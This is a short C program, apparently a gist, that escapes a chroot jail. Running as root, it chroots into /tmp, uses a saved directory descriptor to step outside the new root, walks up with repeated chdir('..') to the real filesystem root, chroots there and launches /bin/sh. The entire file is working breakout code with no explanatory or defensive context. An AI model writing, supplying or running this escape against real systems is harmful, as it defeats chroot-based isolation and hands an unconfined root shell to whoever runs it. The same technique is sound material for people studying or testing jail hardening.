gistfile1.c

#include <sys/types.h>
#include <sys/stat.h>

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>

#include <string.h>
#include <unistd.h>

#include <errno.h>

#define check(x, m) do { \
	if((*m) != 0x00) puts(m); \
	if(!(x)) break; \
	printf("checked: "); \
	puts(strerror(errno)); \
	exit(1); \
} while (0)

int
main(void) {
	char *a[] = { NULL };
	struct stat s1, s2;
	int fd;

	if (getuid() != (uid_t) 0) {
		puts("you need to be root :/");
		exit(1);
	} else if (geteuid() != (uid_t) 0) {
		puts("EUID != 0, needs to be reset...");
		seteuid((uid_t) 0);
	}

	check(((fd = open(".", 0, 0)) < 0), "opening .");
	/* XXX: maybe create a temporary dir? */
	check(chroot("/tmp"), "chrooting to /tmp");
	check(fchdir(fd), "changing back to original root");
	close(fd);

	puts("escaping...");
	for(;;) {
		stat(".", &s1);
		chdir("..");
		stat(".", &s2);
		if ((s1.st_dev == s2.st_dev) && (s1.st_ino == s2.st_ino))
			break;
	}

	check(chroot("."), "chrooting to .");
	check(execve("/bin/sh", a, a), "starting shell /bin/sh...");

	return 0;
}